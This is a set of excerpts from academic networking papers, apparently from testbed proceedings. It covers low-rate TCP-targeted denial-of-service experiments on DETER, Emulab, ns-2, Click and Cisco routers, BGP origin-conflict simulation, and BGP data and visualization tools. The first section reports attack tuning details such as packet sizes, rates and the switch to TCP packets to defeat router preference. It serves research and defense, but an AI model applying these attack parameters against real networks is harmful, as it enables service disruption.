experiments, the attack packet payload size is 10 bytes on DE-
TER and ns-2, but it is set to 100 bytes on Emulab, as higher
packet rates due to smaller packet sizes on Emulab cause the ex-
periments to take several days, which is problematic in a shared
and heavily used testbed like Emulab.

DETER. From Figure 4(a), we find that for all values of sleep
time, DETER flows are not affected by the attack as much as
ns-2 and Emulab flows. This is because the DETER PC router
nodes are able to handle the attack pulse and the single TCP
flow under attack. The DETER results are comparable to ns-2
results with a router buffer size of 100 packets [3]. For larger
values of sleep time, the DETER curve levels off instead of in-
creasing as with ns-2. This is because the goodput in these cases
starts approaching the goodput value when no attack is present
(203 KBps) for an RTT of 160 ms. This goodput value corre-
sponds to a receiver window size of 34715 bytes (24 segments),
which is the value reported by the receiver in our experiments.
This receiver window size, set by the ttcp application, limits the
maximum goodput when no attack is present.

Emulab. Results on the Emulab testbed appear to be more
similar than DETER to the analysis and ns-2 results, since the
attack creates overload on the Emulab PC routers (even though
attack packets are larger), causing packet loss and window cuts.
We found that the attack causes a significant number of timeouts
on Emulab for sleep times 500–1500 ms, while the number of
timeouts is negligible for other sleep times on Emulab, and for
all cases on DETER and ns-2. This can be attributed to the fact
that the machines used in these Emulab experiments were older
than DETER machines, and hence their buses and NICs created
bottlenecks.

ns-2. In contrast to testbed results, packet loss in ns-2 only
occurs in case of buffer overflow. The ns-2 nodes themselves
have “infinite CPU and bus capacity,” and are capable of pro-
cessing any flow without contention. Since the packet service
times are shorter in ns-2 than on the testbeds, packet drops are

less frequent. Another difference is that, due to the bounded
capacities of the physical devices on the testbed, we find that
maximum testbed packet rates cannot exceed 148 Kpackets/s,
while ns-2 reports up to 250 Kpackets/s. A key difference be-
tween the testbed results and ns-2 is demonstrated in Figure 4(b)
when the attack is launched in reverse direction. In ns-2, there is
no contention between flows traveling in opposite direction, thus
rendering the attack ineffective; however, on the testbeds the at-
tack is still potent due to physical limitations of the machines
(shared buses and processors).

Another interesting observation from Figure 4(a) is the non-
monotonic increase of the average congestion window for ns-2
with the increase of the sleep time. This can be explained as fol-
lows. In ns-2, the lack of overlap between sender and attacker
traffic can lead to fewer Cwnd cuts than expected for certain val-
ues of sleep time, thus causing the average window to be higher.
However, for other values of sleep time, synchronization of the
sender and attacker or timeouts can result in a smaller average
Cwnd value. Since the ns-2 simulator components in this exper-
iment are deterministic, such synchronization effects are ampli-
fied.

Packet sizes. Our DETER experiments with different attack
packet sizes (results not shown here for brevity) have shown
that, in case of packets with 700 byte-payload, there is an
even less significant goodput degradation, confirming that small
packets can cause more damage on PCs and software routers
due to higher packet rates, packet processing overhead, and slot
based queues. Results with a payload size of 2 bytes show a
slightly higher goodput degradation than with a payload of 10
bytes.

B. Click Experiments

In the Click modular software router [6], the entire packet
path is easily described, and one can easily configure a simple
IP router that bypasses the OS IP stack. Simplification of the
packet path yields a performance boost, making the PC router
less vulnerable to overload under high packet flows. When the
router is configured, each affected network device has to be in-
cluded into the configuration. It is easy to change the queuing
discipline and the queue depth for the queue at each output port.
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the device driver on DETER.

To increase the fidelity of our experiments and reduce depen-
dence on default system settings, PC routers were configured to
run an SMP-enabled Linux-2.4.26 kernel with a multi-thread-
enabled Click-1.4.3 Linux module. Because the machines on
DETER have the Intel Pro/1000 Ethernet cards, it was possible
to use Click’s e1000-5.7.6 NAPI polling driver to make sure that
receive livelock does not occur, and Click has the most direct ac-
cess to the driver. Since Emulab machines we used did not have
the Intel Pro/1000 cards, we were unable to conduct experiments
with Click on Emulab, since the performance would be worse
than the default Linux IP stack. Nodes R1 and R2 in Figure 3
were configured to run as IP routers using Click’s programming
language.

The default drop-tail queuing discipline was used. Figure 5
demonstrates that varying the TX buffer size produces signifi-
cant variation in the results. It is also important to note that the
TX buffer size has a much more profound impact than the Click
queue size. Figure 5 clearly shows that a TX of 256 and a Click
Queue of 50 performs much better than a TX of 80 and a Click
Queue of 256. This implies that it is crucial to be aware of the
driver settings.

C. Cisco 3640 Experiments

In the previous experiments, we have used open source soft-
ware routers running on PCs. The Wisconsin Advanced Inter-
net Laboratory (WAIL) has a large variety of commercial Cisco
routers which we used in the following set of experiments. Since
we changed the topology on WAIL so that only the access links
had propagation delays (as discussed in Section IV), we ran ns-2
experiments with the new setup and found very little difference
between the new (using the modified topology) and old (using
the topology in Figure 3) simulations.

Figure 6 shows the results of an experiment with a low-rate
TCP-targeted DoS attack as described in Section IV (dumbbell
topology, 160 ms RTT, single attacker multiplexed with the TCP
flow) on the Cisco 3640 routers with Cisco IOS 12.4(5). We
had to modify the attack parameters from what we used on DE-
TER and Emulab. Two attack parameters were used: 10-byte
TCP packets at 13 Kpackets/s and 1400-byte TCP packets at
8.3 Kpackets/s. We had to use TCP attack packets instead of
UDP packets because the router gives preference to TCP over
UDP packets, which rendered the original attack uneffective.
The attack pulse was rate limited; otherwise, most of the attack
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Fig. 6. Comparison of the average congestion window size and the average
goodput from analysis, simulations, and WAIL for different sleep time periods,
and an attack pulse of length 160 ms. RTT is 160 ms.

traffic was dropped on the input port queues. It is interesting
to note that large packets caused the most damage on the Cisco
3640s, which is opposite to what we have observed in the PC
router experiments in Section V-A. Additionally, the fact that
we had to scale down the attack significantly (13 Kpackets/s vs.
148 Kpackets/s) shows that properly configured PCs can be used
to mimic lower performing commercial routers.

VI. CONCLUSIONS

Our work has revealed key qualitative differences between the
simulation and testbed results due to device specifics. These
specifics have a major impact when conducting high perfor-
mance experiments which stress the devices beyond the oper-
ational range envisioned when developing simulation and emu-
lation models. It may be possible to use active probing to de-
termine the capabilities of a network packet forwarding device
and then create a general model of the device. Click can then
be used to mimic a specific router, offering a higher degree of
fidelity. This is the direction of our future work.
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1 Introduction

BGP directs user traffic to its destination along
routes sourced from originating ASs. Originating ASs
are generally large, independently administrated net-
works, such as Internet Service Providers, that state
to have direct access to a set of IP networks. An IP
network and its origin AS are married through con-
figuration of the origin AS’s BGP routers, but BGP’s
blind trust of its configuration can lead to problems.
For example, if BGP routers in different ASs are con-
figured as the origin AS of the same IP network, traf-
fic intended for this destination network can arrive at
both ASs. If only one AS truly has direct access to
the destination network, traffic entering the other AS
can be lost or experience increased delay. BGP routes
containing distinct originating ASs for the same des-
tination network are not entirely reliable. This situa-
tion is a multiple origin autonomous system (MOAS)
conflict.

Besides misconfiguration, MOAS conflicts can re-
sult from malicious intent and valid multi-homed net-
work configurations. One study [7] highlighted the fre-
quency and causes of MOAS conflicts, but none have
yet to quantify the bias a MOAS conflict exhibits on
where user traffic is routed. It is through measurement
of the ASs’ routing paths that we can estimate the
potential for poor traffic performance due to a MOAS
conflict. In this work, we use publicly available tools
to create, log, and analyze BGP routing tables to show
the percentages of ASs forwarding to each originating
AS in the presence of a MOAS conflict.

Based on the successes of previous large-scale BGP
experiments [5, 2], simulation was selected as the
main experimental tool. Its computing resources are
provided by the DETER1 based on Emulab testbed,
which also allows for BGP emulation through the use

1http://www.deterlab.net

of GNU Zebra2 routing software. Due to its command
syntax similarities with the testbed and Zebra, the ns2
network simulator with BGP++3 was used.
1.1 Previous Work

Simulation of MOAS conflicts was previously used
for performance evaluation of a MOAS conflict detec-
tion technique [8]. The experimental network topolo-
gies were based on Routeviews4 measurement data
and ranged in size from 25 to 63 BGP routers. Each
router modeled a single AS. No BGP routing policy
was defined. To better estimate the complexity of the
Internet, this paper uses larger size topologies and the
inclusion of routing policy. Our results show the ef-
fects of routing policy. Initially, a small network is
used for easier analysis and emulation, followed by a
large network several magnitudes greater. The latter
used distributed techniques as simulation of a large
numbers of BGP routers requires large amounts of
memory [6]. Furthermore, our experiments recreate
a known MOAS conflict identified by a CAIDA anal-
ysis tool.

2 Experiments
Our experiments required models of the BGP pro-

tocol, Internet topology, and routing policies. The
BGP protocol is provided by either the ns2 simu-
lator or GNU Zebra routing software. Our Inter-
net’s topologies were extracted from recent Route-
views measurement data (April 1, 2006) using UMass’s
MNIL infer main.pl5. This tool extracted a list of
ASs interconnections which form the edge set of the
network graph. Each vertex (or node) models a unique
AS as a single BGP router, configured with an AS

2http://www.zebra.org
3http://www.ece.gatech.edu/research/labs/MANIACS/

BGP++
4http://routeviews.org
5http://rio.ecs.umass.edu/mnilpub/

download/asrelation.tar.gz
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number, IP address, and set of peering neighbors.
No internal iBGP topology was modeled. Moreover,
no other routing protocols or background traffic was
present. Queue disciplines, link bandwidth, and link
delay were arbitrarily chosen as DropTail, 1Mbps, and
1ms.

To model BGP routing policy, AS business inter-
relationships were inferred from the same Routeviews
dataset. Using the heuristic algorithm of [3], in-
fer main.pl extracts inter-relationships by classifying
ASs as either customers, providers, siblings or peers
of each other. Based on these AS inter-relationships,
the stable policy recommendations of [4] were im-
plemented using local-preference, as-path access lists,
route-maps, and regular expressions policy mecha-
nisms. For sibling relationships, stable routing polices
have yet to be defined. For ease, we reclassified sib-
lings as mutual customers of each other, even though
routing oscillations may be introduced.

Finally, the Routeviews data was analyzed by
CAIDA’s straigthenRV6 which identified AS1239
(Sprint) and AS9255 (Singapore Telecom) as gener-
ating a MOAS conflict for prefix7 169.128.239.0/24
(Eveready Battery Company, St. Louis, MO). In our
experiments, AS9255 and AS1239 were configured to
originate this prefix.

Initial experiments were performed on a small, ver-
tex induced subgraph of the Routeviews topology.
This limited the topology’s size for Zebra-based em-
ulation and made initial analysis easier. The densely
connected subgraph is shown in Figure 1, where origin
AS9255 (Singapore Telecom) and AS1239 (Sprint) are
edge and core nodes respectively. This subgraph in-
cluded all shortest paths between AS9255 and AS1239,
as well as all those ASs included in the Routeviews
routes originated by AS9255 and AS1239 for prefix
169.128.239.0/24. All inferred routing policy for the
induced subgraph was also retained.

A larger topology was also created by expanding
the above subgraph to include all its nearest neigh-
bors. This subgraph contained 8826 nodes. To accom-
modate distributed simulation, partitioning was per-
formed using Autopart8. The full Routeviews topol-
ogy, totaling 22086 nodes, could not yet be supported.

All MOAS experiments began with 170 seconds
of initialization time, where all BGP speakers estab-
lish their peering connections. AS1239 and AS9255
then create a MOAS conflict by announcing prefix

6http://www.caida.org/funding/atoms
7An 32-bit bit number which has several leading bits in com-

mon with a set of connected IP addresses
8http://www-static.cc.gatech.edu/grads/x/Dongua.Xu/
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Figure 1: 50 Node Subgraph, Inferred Routing Policy

169.128.239.0/24 at time 200 and 230 seconds respec-
tively. Beginning at 170 seconds, all BGP routing ta-
bles were logged at 25 equally spaced intervals.

Figure 2 shows a BGP routing table fragment, with
at least one route originated by both AS9255 and
AS1239. The origin AS is the last numerical list item
in the Path column. This router, AS7473, will for-
ward prefix traffic along its best route, which is the
row entry prefixed by >. To develop a distribution of
the network ASs forwarding toward a particular origin
AS, the number of routers whose best route contains
one or none of the origin ASs are counted.

3 Results and Discussion
For a experiment using the 50 node subgraph of Fig-

ure 1, Figure 3(a) and (b) shows the percentage of ASs
forwarding to origins AS1239, AS9255, or do not yet
have a route to 169.128.239.0/24. Figure 3(a) includes
the effects of inferred BGP routing policy, where Fig-
ure 3(b) waived routing policy (in effect shortest path
routing). The top panels contain results from simula-
tion, whereas the bottom panels are from emulation.

From Figure 3(a) and (b), the vast majority of
the ASs select routes to the centrally located AS1239
(Sprint). At the most, only 8% (4 out of 50) of the ASs
forward to AS9255 (Singapore Telecom). These are
AS9255, and its nearby neighbors AS3758 (SingNet),
AS7473 (Singapore Telecom), and AS6939 (U.S-based
Hurricane Electric) (see Figure 1). Without rout-
ing policy, Figure 3(b) shows the percent of ASs for-
warding to AS9255 drops to 4% (2 out of 50). Here,
AS7473(AS6939) now selects the path to AS1239, as
it is only 1(2) hop(s) from AS1239, whereas it is 2(3)



BGP table version is 0, local router ID is 9.0.43.43
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal Origin codes: i - IGP,
e - EGP, ? - incomplete

Network Next Hop Metric LocPrf Weight Path
*> 169.128.239.0/24 9.0.33.33 200 0 3758 9255 i
* 9.0.1.1 100 0 1239 i

(22 more entries)
Total number of prefixes 1

Figure 2: BGP Routing Table of AS7473

hops from AS9255 (see Figure 1).
When comparing the Routeviews measured AS

paths to the simulation generated paths, we find that
71% (27 out of 38) are reproduced when using rout-
ing policy, whereas 55% (21 out of 38) are reproduced
without policy. Moreover, since AS7473 and AS9255
both belong to the Singapore Telecom domain, they
should both have consistent routing for any prefix.
Therefore, we conclude that use of inferred routing
policy is preferred, resulting in AS7473 forwarding to
AS9255 for 169.128.239.0/24.

Zebra-based emulation results are shown in the bot-
tom panels of Figure 3 (a) and (b). These results are
consistent with those from simulation panels. Also, its
transient behavior is both smoother and longer, possi-
bly reflecting the emulation’s higher fidelity modeling
of link bandwidths, propagating delays, and CPU pro-
cessing time.

We used 16 distributed simulation instances to eval-
uate the larger 8826 node topology. Each instance
consumed about one magnitude less memory than the
entire subgraph (∼2.1G). Although partitioning was
consistent in terms of number of nodes, it was not
in edge cuts, which resulted in several simulation in-
stances having several times the memory consumption
of the others due to interprocess overhead.

Using inferred routing policy, 65% (25 out of 38)
of the Routeviews paths are reproduced by large-scale
simulation. Figure 3(c) shows only 0.6% (58 out of
8826) ASs forward to AS9255. As with the smaller
subgraph, the majority (99.4%) of ASs select routes to
AS1239 (Sprint). We conclude that this MOAS con-
flict is insignificant in practice. We conjecture that the
prefix owner, Eveready Battery Corporation, uses a
multi-homed strategy where AS9255 (Singapore Tele-
com) supports a remote field office, AS1239 (Sprint)
for its rest of world access, and a possibly a private
line for interconnectivity.

To see the effects of a problematic MOAS conflict,
the densely connected AS701(UUNET) was misconfig-
ured to also announce the prefix. Shown in Figure 3(d)
are the effects on the large topology of 8826 nodes.
About 40% of ASs change their forwarding choice from
AS1239(Sprint) to AS701(UUNET). In practice, this
may result in a large amounts of traffic being lost after
it is incorrectly forwarded into the AS701 domain.

4 Conclusions and Future Works

Our experiments highlighted the insignificance of
a single MOAS conflict contained in the Routeviews
data. Over 90% of the ASs forward to a densely con-
nected core origin AS as opposed to an edge origin
AS. This MOAS conflict is most likely a valid network
configuration. On the other hand, by purposely mis-
configuring another core AS to join the MOAS conflict,
over 40% of the ASs react with the potential to cause
user traffic loss. As other MOAS conflicts also exist in
the Routeviews data, and many possibilities exists for
fabricating new ones, our results and analysis is pre-
liminary and does not offer any relationships between
the location of the multiple originating ASs and the
bias effect on AS forwarding. Furthermore, the addi-
tion of iBGP topologies and other definitions of sibling
routing policies will likely have modeling effects.

We were unable to simulate the full topology avail-
able in the Routeviews data using the publicly avail-
able distributed simulation tools. Although better
graph partitioning or more powerful simulation tools
and hardware may allow a full Routeviews topology
to be simulated, alternative approaches such as mod-
eling scale-down are being pursued [1]. Combining
these smaller simulation models with those of emu-
lation, may lead to a hybrid approach that offers a
balance between experimental scale and fidelity.
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Abstract— BGPRV is a tool aimed to aid the analysis
of BGP updates or routing table snapshots. It provides a
set of library functions that make it possible to retrieve
and process archived BGP data with efficiency and
convenience. It encapsulates the functions of scanning
the Route Views route repository, downloading data for
specified time frame, processing the binary MRT format,
and filtering incomplete or undesired data etc., and
returns BGP data as single stream. With the abstraction
of operations and simplified usage, it provides users with
clean and organized BGP data that is ready for further
processing and analysis.

I. I NTRODUCTION

BGP is the protocol that drives contemporary inter-
domain routing [12]. Its performance is one of the key
elements contributing to the success of the Internet.
To date, there have been numerous efforts devoted
to BGP related measurements and dynamic behavior
analysis. Obtaining real-time information about the
global routing system from the perspective of tens of
different viewpoints around the world, Route Views
data [2] have become one of the most important
resources to Internet operators, networking community,
and academic researchers.

Route Views acts as a route reflector for over 40 dif-
ferent ASes, from around the world. The routers collect
both RIBs and UPDATEs and provide data in Cisco
and MRT formats. RIBs are routing table snapshots
and UPDATEs are BGP update messages. Route Views
collect RIBs every two hours and UPDATEs every 15
minutes. The archived data are extensively used for the
study and analysis of the Internet, for example, Inter-
net topology and hierarchy, address usage and prefix
advertisement, routing table growth, AS relationship
inference, BGP instability, and convergence etc.

Collection and manipulation of Route Views data
has been an interesting problem in itself. Tools have
been built to periodically download RIBs and damp-
ened routes [7], to support automatically queries [8], to
convert the MRT format RIBs and UPDATEs to ASCII

format [5], [4], or to parse and organize the collected
data [3].

With the BGPRV toolset, we have created an easy
to use set of functions that encapsulate many disparate
tasks and hide low-level details from users, making it
possible to collect and manipulate Route Views data
with ease. Of chief importance, BGPRV is written in
Perl for platform independence and its usage is simple.
With a single command that specifies the period of
interest (start time and end time), the tool takes care
of tasks such as scanning the Route Views website,
replicating the desired routing data, translating the
binary format, and generating streams of BGP updates
from files. BGP data can be collected and processed
efficiently. It can run on either online or offline modes,
based on the requirements. Moreover, the tool is not
limited to manipulate Route Views data. It can be
applied for collecting and parsing other MRT formatted
data such as RIS data [6] and the logs from any Zebra
or Quagga router that output data in MRT format.

BGPRV has been used in research on the address use
structure and advertisement stability characterization in
the Internet [11], origin authentication [9], and routing
validation system [10]. We expect its usage will be
further broadened in the Internet routing community.

II. OVERVIEW OF BGPRV

Route Views data are stored as many individual files
and the data are organized based on the year, month,
and smaller time units when they were retrieved from
the peering routers. BGPRV (see Figure 1) scans the
Route Views website periodically and keeps an updated
record for all the available data. It generates an entry
for the URL that points to the stored Route Views data
and puts them in a file named ”rvstate.dat”. Each entry
is associated with a time stamp, representing the last
time the file was examined. Because the full list of
files that comprise the repository is kept, BGPRV can
detect if a file is missing or has been deleted, and



Fig. 1. BGPRV: a tool to collect and manipulate Route Views data

reacquire the file. Given the specified start time and
end time, BGPRV pulls the individual files stored at
Route Views and returns a sequence of hashes which
point to tokenized records. The downloaded data are
stored in a repository named ”rvrepository”. BGPRV
provides abstraction from individual directories and
individual files and allows the user to read the BGP
data as a single file. It decompresses the downloaded
file, converts MRT format to ASCII format, and returns
BGP data stream for the specified period, while hiding
all the implementation and operation details from the
user.

III. T OOLS

The major functions provided by BGPRV include
the following:

A. GETRV

Using LWP modules,getrv first scans the Route
View website, then download all files for the specified
period. The files are mirrored in a directory in the cur-
rent directory “rv repository”, which must be created
before running the script. To run the utility, use the
following parameters:

getrv <start time> <end time>

where the time is in the following format:
”MM/DD/YY HH:MM:SS”. For example, $getrv
”01/01/03 00:00:00” ”12/31/03 23:59:59” retrieves all
the UPDATE data for 2003.

B. BGPPDUMP

bgppdump provides similar function as Tim Grif-
fin’s bgpdump tool [1], but does so in a platform-
independent manner through the use of Perl, while
extracting only the pertinent information from the BGP
data. To run the utility, use the following parameters:

bgppdump [-f]<start time> <end time>

where the time is in the format “MM/DD/YY
HH:MM:SS”. The “-f” is optional, and indicates that
the utility should operate in offline mode (e.g., no
scanning or obtaining files over the web). The output
of the tool is similar to that found in the normal
bgpdump. However, only UPDATE and WITHDRAW
data is reported, and all community strings and most
attributes are stripped. The output format for Updates
is:

<time>|A|<serc IP>|<prot> |<prefix>|<path>

and the output format for WITHDRAWS is:

<time>|W|<src IP>|<prot>|<prefix>.

Note that any UPDATE containing an AS set or IPv6
address is ignored.

C. BGPSTAB

bgpstab examines the stability of BGP by analyzing
BGP updates. To run the utility, use the following
parameters:

bgpstab [-f] [-r<src>] <start time> <end time>

where the time is in the format ”MM/DD/YY
HH:MM:SS”. The ”-f” is optional, and indicates that



the utility should operate in offline mode. The ”-r”
parameter indicates the viewpoint of the test. Where
specified, all announcements not from that viewpoint
are ignored. A second mode allows to restart a test in
progress. The mode is invoked as

bgpstab -s<statefile>

and restarts a test. A statefile named with the test
date range (so multiple tests can run at the same
time) is created periodically (typically after process-
ing every 250th UPDATE file). The file name is
encoded in the format of YYYYMMDD.HHMM-
YYYYMMDD.HHMM-bgpstad.dat. There is no need
to give any other parameters, as the statefile contains
all the original times, sources etc.

The output files are named by the ranges of times
they cover as for the statefile, except the ending of
the file indicates the types of data that is covered.
*-ases.out is the AS centric output file. It gives the
AS number and the events observed from this AS,
including the number of prefixes, the number of origin
change events, the number of direct AS to AS change
events, the number of announcements, and the number
of withdraws. Similarly, *-prefixes.out is the prefix
centric output file. It gives the prefix and the events
related to this prefix, for example, the number of ASes
the have originated the prefix, the number of related
origin change events, the number of related direct AS
to AS change events, the number of announcements,
and the number of withdraws.

The uptimes observed during the test is given by
*-upfile.out, which contains a single observed uptime
(continuous period when a prefix was available and
originated by the same AS) per line. Similarly, *-
downfile.out outputs downtimes (continuous period
when a prefix was not available) observed during the
test.

bgpstab also outputs the overall statistics results.
*.out contains the information such as completion
date, test coverage, the specific viewpoint for this
test (All announcements for non-viewpoints are ig-
nored), and the number of UPDATE messages that
the stability program observed1. Moreover, it also
gives the number of messages whose origin is IBGP
(PROTIBGP), the number of messages whose origin is
EBGP (PROTEBGP), the number of messages whose
origin is reported as being incomplete (PROTICOM),
the number of messages whose origin is unknown
(PROTUNKNOWN), e.g., no origin attribute included

1Note that the number of UPDATEs will be less than the number
of announcements, as many withdraws or announcements couldbe
included in the same message.

in the message, and unfiltered sources which are the
message counts for all sources in the test data (if source
is selected, many of these are ignored).

IV. PERFORMANCE

As an example to illustrate the performance of BG-
PRV, we run bgppdump in offline mode on an Apple
XServe with dual 1.8 GHz G5 processors and 4 GB of
RAM, connected in a RAID-5 configuration by Fibre
Channel to an Apple X-Raid disk array. We processed
the archived Route Views BGP updates for a one-
month period (Jan 2005). The program took 1390.76
CPU seconds to process 211,970,676 announcements
and 22,183,935 withdrawals. Much of the computation
time was spent inflating the archives, which are com-
pressed 95% compared to their full-sized equivalents.
The size of the generated update stream is 16GB, with
all community and other irrelevant attributes stripped
and incomplete information filtered.

V. SUMMARY

In this paper, we introduce BGPRV, a tool which
makes it possible to retrieve and process MRT-
formatted BGP data with ease. Hiding implementation
and operation details, BGPRV encapsulates the func-
tions of scanning Route Views website, data down-
loading and decompression, converting MRT format
to ASCII format, and allows the user to read BGP
data as single stream instead of many individual files.
Moreover, BGPRV is platform independent, efficient,
and simple to use.
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ABSTRACT 

We have developed a visual-based BGP anomaly 
detection and analysis system, called ELISHA, for 
running BGP experiments on the DETER testbed. 
While the complexity of the inter-domain Internet 
infrastructure (such as the BGP behavior) is still 
beyond our control, our integrated visualization tool 
will assist experimenters to streamline the process of 
detection and analysis for BGP anomalies. We believe 
that, in analyzing such complex events, while a fully 
automated approach might be theoretically possible, it 
could be practically too expensive to realize. 
Therefore, we focus on leveraging the human’s 
cognitive capability and experience in bridging the 
gap between the idealized Internet routing models and 
the real-world BGP operations. ELISHA will allow 
the DETER users to visualize both routing dynamics 
and OASC (Origin AS Change) events, and their 
interdependency. For different types of network 
events, ELISHA provides a number of configurable 
orientations such that the same set of events can be 
viewed using different visual representation methods. 
Furthermore, our system includes various 
programmable information filters and abstractors, 
such as statistical-based classifiers, such that DETER 
users can interactively and gradually focus on selected 
critical events. 

1. INTRODUCTION 

As the size, speed, complexity, and connectivity of the 
Internet continue to grow, the analysis of operational 
BGP (Border Gateway Protocol) dynamics becomes 
increasingly challenging. For instance, given a burst 
of BGP update messages for a particular IP address 
prefix, it is hard to determine whether the operators 
should worry about it, and how to explain or  
 

 
determine exactly the root causes for this set of BGP 
messages. Sometimes, even an experienced network  
 
administrator needs to rely on the information from 
different external administrative domains to correctly 
identify some potential faults or configuration 
problems. The process of fault investigation for BGP 
by human operators is typically tedious and 
expensive, while some critical faults, if not being 
handled in real-time, would seriously degrade the 
network performance. 
 
In the past three years, the UC Davis team has 
developed research tools to visually analyze OASC 
(Origin AS Change) and routing dynamics/anomalies 
for BGP. The main focus has been to develop a 
practically useable system for human network 
administrators to speed up the process of anomaly 
detection and analysis. 

2. INFORMATION VISUALIZATION FOR BGP 

In the community of intrusion/fault detection, the 
limitation regarding false positive and negative is well 
known. In order to provide more accurate detection 
results, we have built various information 
visualization tools to represent a large set of BGP 
update events. Our experience shows that human’s 
cognitive pattern recognition capability can easily 
identify certain interesting anomalous patterns that 
cannot be effectively detected by fully automated 
detectors. While a statistic anomaly detector can 
potentially select a much smaller set of highly ranked 
events, a visual-based detection tool can often 
determine some truly critical events, and possibly 
correlate them visually. Our tool integrates the 
statistic detector into the BGP visualization interface. 
Figure 1 shows a few screen shots of our prototype 



visualization tools for BGP routing dynamics and 
anomalies. 

3. PROGRAMMABLE INFORMATION 
RANKING, FILTERING, ABSTRACTION, AND 
REPRESENTATION 

The number of BGP events in today’s Internet is 
extremely large, and it is critical to allow the human 
operators to adaptively specify what they would like 
to see at each particular moment. ELISHA provides a 
set of configurable options as well as programmable 
filters such that the amount of information being 
visually presented is reduced, focused and abstracted 
from the ocean of BGP raw events. For instance, for 
each BGP event, we can use statistic-based classifiers 
such as NIDES/STAT to rank quantitatively the level 
of anomaly. For the measure of “relative” anomalies, 
if a particular event (or a set of events) deviates from 
its own statistical long-term profile significantly (i.e., 
above certain thresholds), then, this event will be very 
“interesting” for the human operators to examine 
more closely. On the other hand, for “absolute” 
anomalies, we need to build/configure a 
signature/pattern database such that all interesting 
patterns can be presented to the human users. 

4. THE INTERACTIVE FAULT/ANOMALY 
INVESTIGATION PROCESS 

 Identifying true anomalies, statistically or visually, is 
merely the first step in the process of BGP 
infrastructure management. An anomaly by itself 
without its background information or the root cause 
is not very useful to the operators. Ideally, it would be 
nice to have a knowledge-based expert system about 
BGP to automatically analyze and explain the 
detected anomalies. However, the main challenge here 
is that we do not have such a “correct knowledge 
base” about BGP from the very beginning. Naturally, 
an adaptive approach is taken by the ELISHA project 
to utilize human expert’s guidance and to gradually 
enhance its accuracy and performance. 
 
In order to acquire the knowledge about anomaly 
analysis and explanation from human experts, 
ELISHA has a panel interface to allow users to 
navigate through the BGP information in different 
levels of abstraction. Through this navigation process, 
we are building a tool to ask the DETER users to 

input/specify the rationale or patterns behind their 
selections on BGP related information and the 
final/partial conclusions about a particular anomaly or 
a set of correlated anomalies. Then, the ELISHA 
system will find out, through this interactive process, 
what other network events might be related to the 
problem currently being investigated 

5. REMARKS 

One future goal of ELISHA is to allow different 
DETER users to share their knowledge and 
perspective regarding BGP. This will allow, for 
example, a new DETER user to quickly detect and 
analyze difficult but similar problems by building on 
top of the analysis strategies contributed by those who 
have much more experience about running BGP 
experiments on DETER.



 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Fig. 1.  Prototype visualization tools for BGP routing dynamics and anomalies 
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Abstract— Understanding the operation of BGP and providing
for its security is essential to the well-being of the Internet. To
date, however, simulating every autonomous system comprising
the Internet, in order to test proposals and security solutions,
has been infeasible. We have developed lseb, a large scale
BGP simulator, that generates realistic network topologies from
routing data, and provides the ability to replay network events
from any point in the past, and allows what-if scenarios such as
simulated attacks or defense mechanisms, to test the resilience
of the critical network infrastructure. We describe topology
extraction tools that we have developed and the design and
implementation of lseb. We also discuss visualization tools that
allow a graphical topology representation and provide an example
of an attack scenario that can be modeled with lseb.

I. INTRODUCTION

The Border Gateway Protocol is the de facto interdomain
routing protocol used in the Internet. Understanding the behav-
ior and dynamics of BGP is essential to ensure the Internet’s
continued operation. Simulating the operation of BGP is diffi-
cult, however, because of the large scale it encompasses. There
are over 22,000 autonomous systems (ASes) that comprise
the current Internet, and BGP is responsible for all of the
routing between these networks. As a result, simulating every
facet of routing behavior rapidly becomes infeasible. The main
drawback of existing network simulators is that they were
not created with a goal of simulating the whole Internet, but
rather of replicating detailed events in a small network setting.
They mostly lack a realistic Internet model [14], [21] and
simulate traffic at too fine a granularity, making the simulation
prohibitively expensive [12], [11], [18], [16]. Many popular
simulators run on a single node, which prevents large-scale
simulation [1], while others run a distributed simulation [2],
[3], [4] but to simulate at a reasonable speed, they require
powerful and specialized clusters, which are not available
to all researchers. In this paper, we propose a large-scale
external BGP simulator, or lseb, that allows a full, Internet-
wide simulation of BGP events. We use routing data from
the Route Views data repository [13] to generate a realistic
Internet topology and to simulate and replay actual routing
events. lseb is able to perform these large scale simulations
by eliding unnecessary data and can operate on commodity
hardware over a large distributed system, such as the DETER
testbed. We have made the source code available for use and
further extension by researchers. The code can be found at
http://siis.cse.psu.edu/tools.html.

II. GOALS

We developed the lseb simulator in response to the needs
of the BGP research community. Foremost with lseb is the
ability to present a large-scale, realistic simulation of BGP
operating across the entire Internet. With this infrastructure
in place, and through the use of real routing data, we can
create simulations that are reflective of real events with real
topologies that reflect the state of the current Internet. Of even
greater interest is the ability to use historical data to recreate
the state of BGP in the Internet at a given time. Thus, we
can have access to a “way-back” machine, where we can
examine various what-if scenarios by modifying BGP behavior
or injecting faults into, for example, one or more ASes. Thus,
we can test the network infrastructures at critical junctures
in time, such as during major power outages or under attack
scenarios, and determine resiliency when attacks such as worm
propagation, denial of service attacks or attacks against BGP
are launched against the Internet. For example, the Internet
infrastructure was severely stressed by the Code Red worm
outbreak, which affected BGP convergence. By replaying the
state of the network during the heart of the propagation period,
we can simulate what would have transpired if an adversary
had launched a link-cutting attack or a BGP-specific attack,
such as prefix hijacking, during this period, and determine the
ramifications on ASes throughout the Internet. These models
will also be useful for determining the effectiveness of security
mechanisms and validating results generated by us [6], [8],
[17], [5] and others [10], [15], [20], [9]. For example, we
can simulate the global adoption of schemes such as S-
BGP [10] and soBGP [15], and see how optimizations such
as SPV [9], signature amortization [20], or data-driven cryp-
tographic constructions for origin authentication [6] and path
authentication [5] scale when all 22,000 ASes that comprise
the Internet are modeled.

III. SIMULATOR DESIGN AND IMPLEMENTATION

Our design for providing large-scale Internet simulation is
contingent on a series of processes that transform data from
route repositories into a form that can be easily parsed for
simulation. Raw routing data can be obtained from reposi-
tories such as Route Views or the RIPE RIS database [7].
With our bgprv tool suite (described elsewhere), we can
filter and process routing data, eliding spurious information
and transforming it into a easily parseable data that can be



Command Description
AS Usage: node AS number. Links an AS to a

particular simulation node.
PEER Usage: node AS PEER AS-peer. Creates a

link between two ASes that are BGP neigh-
bors.

PREFIX Usage: node PREFIX AS prefix. Links a
prefix with a given AS.

TABLE I
LIST OF COMMANDS USED BY THE TOPOLOGY GENERATOR.

Command Description
START Begins the simulation.
ADD Usage: ADD AS prefix. Adds a specified

prefix to the given AS.
DROP Usage: DROP AS prefix. Removes the speci-

fied prefix from a given AS.
